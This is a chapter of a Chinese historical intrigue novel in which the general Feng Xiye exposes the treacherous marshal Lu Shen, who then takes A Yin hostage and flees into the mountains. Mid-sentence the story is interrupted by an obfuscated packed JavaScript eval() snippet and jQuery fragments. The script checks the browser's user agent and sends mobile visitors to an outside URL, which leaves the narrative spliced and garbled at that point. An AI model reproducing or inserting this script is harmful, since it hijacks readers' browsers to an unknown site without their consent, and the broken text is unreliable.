风骤起,枯叶席卷,掩埋血迹。
黑衣软甲大步远去,阿银看他背影挺拔,束发高悬,翻身上马,像极了自己折返西关时所见的场景。
高骥轻装疾行,阿银悄悄跟着他抵达因陈,终于找到机会同他说话,陆深却不合时宜地冒出来。
二人正商议着什么,身后忽闻一片蹄音,气势滂沱,遮天蔽日。
一匹乌云骓通身黝黑,迈向阵前。
乘骑之人身似劲松,面如冠玉,眼若丹凤展翼,却毫无柔媚之姿,极尽清峻冷毅,俨然一派凛冽肃杀之气。
成三见状,持戟直对来人,但见他执一块金色令牌。剑形龙腹,腹部龙头金麟焰甲,圆目巨口,苍髯如戟,不怒自威。上镌铸“金吾卫上将军令”几个大字。
“见此令者,如陛下亲临,谁敢造次?”
众人皆垂首伏跪,俱呼圣恭。
凤袭夜扫了眼在场众人,跃身下马,掏出一卷绢帛,尚未宣读,陆深已起身接过,推了推身边的高骥。
“少将军,圣上的诏书已到,速速出兵,拱卫西关!”
高骥伸手去拿,陆深却不肯相让。
“陆司马,御诏未名,虎符未合,擅自发兵,当以叛国罪论处。”
陆深没想到,向来对他顺服恭敬的高骥态度竟然如此强硬。眼风扫向凤袭夜,只见他神色淡淡,一副事不关己的模样,陆深不由唏嘘。
“诏书在此,还有何顾虑?你难道想违抗君命吗?”陆深捏紧了手中诏书,昂首问向凤袭夜,“凤将军,您且告诉他,这御笔所书,究竟是不是出兵的诏书?”
凤袭夜眼神冰冷,眉梢透出几分凌厉:“这位便是大将军高裕之子?”
听高骥应声,陆深喜不自胜,又被凤袭夜接下来的话打入谷底:“号令三军,虎符诏书缺一不可,你仔细校阅一番,不算逾矩。”
话音刚落,手中绢帛便被高骥夺取,陆深愤愤上前,恼道:“凤将军!”
高骥看完,抬眼望向凤袭夜,不置可否。
凤袭夜神色锐利,直指高骏:“御诏你已看过,眼下该当如何?”
高骥将绢帛收入囊中,高声令道:“司马陆深,通敌卖国,成三,将人缴械关押,送去阵前伏诛!”
凤袭夜眼神掠过陆深,如视死物:“杀伐果决,颇有乃父遗风,小侯爷。”
小侯爷?莫非这诏书,是让高骥袭爵的诏书?
陆深挣扎着,从怀中掏出虎符,喝道:“我有大将军虎符在此,尔等安敢动我?”
高骥面色沉肃,取出半枚虎符:“假冒兵符,罪加一等。成三,动手!”
想到吕述那夜的反常举动,陆深一时摔了虎符,青筋暴涨,怒目圆睁:“你和吕述合起伙来算计我?好一出请君入瓮!”
“兵不厌诈,这还是您教我的。”
陆深恨得牙痒痒,自己蛰伏多年,机关算尽,不惜铤而走险也没更进一步。毕生所求,高骥却轻而易举就得到了。
陆深虽为文辅,却是武将出身,心中对此耿耿于怀。在囚笼中见到凤袭夜的那一刻,满腔愤愤早已达到极点。
“凤袭夜,方才为何阻我?”
凤袭夜背光看他,眸光幽深,泛着森森冷意。
“这一石二鸟之计,想必陆司马思量了许久吧,难为你倥偬岁月将心思都花在了加官进爵上,却到底还是坐井自乐,差点意思。”
陆深听完这番冷嘲热讽,怒极反笑:“你如今倒是一人之下万人之上,我小小一个边军司马,自难望其项背。金吾卫上将军不吝赐教,陆深自当愿闻其详。”
“陆司马淆讹袭爵诏书为发兵诏书,若能哄得高骥出兵,便将人以擅发兵治罪,而以矫诏之名责我,让陛下对我生疑;若高骥按兵不动,你便可以赝造虎符为由,给他扣一顶通敌谋反的帽子。
“届时平叛有功,安国侯的爵位虽承不了,多少能落个比司马大的职衔,还能全身而退,解甲致仕。不知陆司马心中所想,与我猜的有几分相似?”
陆深闻言,神色大变,怒斥道:“凤袭夜,我想方设法除去高裕和高骥,就是为了搅乱边关,扫除隐患!你我同为圣主办事,你不助我,反而加害于我,你是不是早有二心,想要自立门户?”
“有二心的恐怕是你。”狭长的凤眼微垂着,如同睨视蝼蚁,“两军对垒,向云开再不济也是一军主帅,如今为何会出现在叠浪关内,陆司马不知?”
陆深极力维持住面上平静,双手却抑制不住地颤抖:“我听不懂你在说什么!”
“战事一触即发,你不担心曜辰破关,反而引狼入室,说到底只有一个解释——陆深,你早就与曜辰里应外合、沆瀣一气。
“今日倒戈相向,曜辰许了你什么好处,比之义父的提携之情、知遇之恩,又重上几分?”
“血口喷人!”
陆深一掌拍在笼柱上,自知事情败露,恼羞成怒。
转瞬又似想起什么,古怪一笑,溢出几分漫不经心的幸灾乐祸,眼里俱是狠厉。
“凤袭夜,你是对圣主言听计从没有二心,可你就没想过,你一个孤儿,他凭什么教你功夫、亲授兵略?宫中兵将众多,又为何要收你做义子,不惜损兵折将也要让你坐上现在的位置?”
凤袭夜神色未动,冷冷道:“我去胤京数载,陆司马的离间计都用得炉火纯青了,实在不枉你绸缪多年稳坐司马。可你死到临头了都学不会藏拙,高裕能容你尸位素餐这么多年,也是仁至义尽。
“莫不如以死谢罪,免得被义父见到徒惹烦忧。死在高骥手上,说不定还能留个全尸。”
“你——”
陆深见他不为所动,料知此行必然有去无回,又想起圣主对付叛徒的狠辣手段,已然面色如土,却仍不死心。
“我没有勾结曜辰,也没有背叛王爷......凤将军,你放我走,我对过往之事绝口不提,否则我一定将你的底细抖落出来,让你不得好死!”
眉峰一挑,凤袭夜嘴边勾起一抹笑,漫不经心道:“陆深,但凡要挟过我的人,没有一个能活到开口之日。”
语罢,凤袭夜负手离开,陆深瘫坐在地,眼中晦暗不明。
兵马浩浩荡荡,在山下稍作停留。
成三给陆深送水,久不得应,近前一看,人已闭目靠在囚车上,没了吐息。
上前正打开门,已被凤袭夜喝住。
他一把抽出成三的佩刀,隔着囚栏猛然扎入陆深腹部。
血顺着木桩留下,陆深的身体一歪,从囚车内跌出。
凤袭夜冷冷看他一眼,转身走了。
谁料正倒地的陆深霍然睁眼,擒住一直躲在树后的阿银,手握一根削尖的木棍顶在她项间,眉目间满是鱼死网破的狰狞。
“给我一匹马,否则我现在就杀了她!”
“无关紧要之人,杀便杀了。”
凤袭夜一抬手,高骥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380577|168457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却上前阻挡,对他摇头。
凤袭夜眉间微不可察地皱了皱,拍了拍自己的乌云骓,正要松开缰绳,便听陆深急吼道:“我不要你的马,要他的!”
高骥叫人前来陆深的坐骑,引缰来到他面前,神色复杂。
“你逃不掉的,不要一错再错了。”
手上木棍已刺破皮肤沁出血丝,陆深拖着阿银后退一步,目光狠毒,言语中满是不甘。
“错?若不是我设计让高裕战死,你又有什么资格僭忝侯爵?你应该感激我,而不是在这里惺惺作态地指责我!”
这话重如千钧,捶打在高骥心头。
曾经,陆深是师是长,对他教诲、予他关照,是他锐利剑锋的鞘柄,是他长戟所向的盾守。
谁又能料到,有朝一日,这双教他用兵执剑的手,竟然会为了一己私欲,将刀锋对向自己。
高骥猛然阖上眼皮,不愿让人看穿自己的软弱。再睁开时,泛红的眼底弥漫着肃然与悲伤。
“截获军情、通敌叛国是错,屠戮手足、同室操戈是错,祸水东引、涂炭百姓更是错上加错!”
“我从军数十载,为国尽忠尽职,却换来今日的下场!我做这些,不过是求仁得仁,何错之有?”
通敌叛国是事实,屠戮手足也是事实,西关一破,屠尽因陈势在必行。
可这些家国大事,应该分摊到每个人身上,为何要让他一个人来承担?
高裕攻城略地,平定百年动荡,封候拜将他认了。
可晏城是靠着恩荫骠骑才能在恒州统领千军,连高骥这样的后辈晚生都能承袭侯位,他心有不甘。
他生于斯长于斯,明明更有资格去承担那些荣耀,却只能屈居人下,投靠他人才能坐上一个小小的司马之位。
见高骥又要向前,陆深声音陡然尖锐起来:“别再向前,只让马过来!”
高骥顿住脚步,摘下从军当日陆深赠与自己的佩剑,掷于尘土间。
“昔日种种,譬如烟尘。陆深,你我自此恩断义绝,下次相见,我必当手刃你项上人头,替我父亲、替死在西关的战士报仇雪恨!”
陆深见此,眉间隐隐透出几分悲凉,他未再多言,挟着阿银上马,一路奔向因陈山中,没有回头。
腹间血水汩汩流出,陆深已面色苍白,见到阿银腿间羊首金铜刀,计上心头。
他以因陈山宝藏作为交换,让阿银替他止血,带他上山。
借着满山雾障,陆深甩开阿银,找到早就等在山中的程轩,杀人越货,正待潜逃,便被找到了。
阿银被蒙着眼,不知将被押送何处。
眼前一片黑暗,耳边兵马嘈杂。
被向云开一剑贯穿后,很长一段时间,她就沉寂在这样的环境里,漫长而无望。
直到睁开眼睛那天,本该与她水火不容的人,送来了伤药。
她对高骥并无儿女情长,但见他如此决绝,毫无半分情谊,心头还是泛起一丝酸涩。
陆深说得没错,她只是他手里的一步棋,从救下她开始就已排兵布阵。
为她披上斗篷,冒着夜色送她出营时,棋局开场。
他早已发现自己尾随在后,只是隔岸观火,直到陆深挟持自己,才落子拼杀。
等陆深一暴露,他早已备好后招,收子终盘,自己也就失去了利用价值。
阿银嘴角一动,磨断腕间绳索,黑布落地,血渍溅上羊首金铜刀。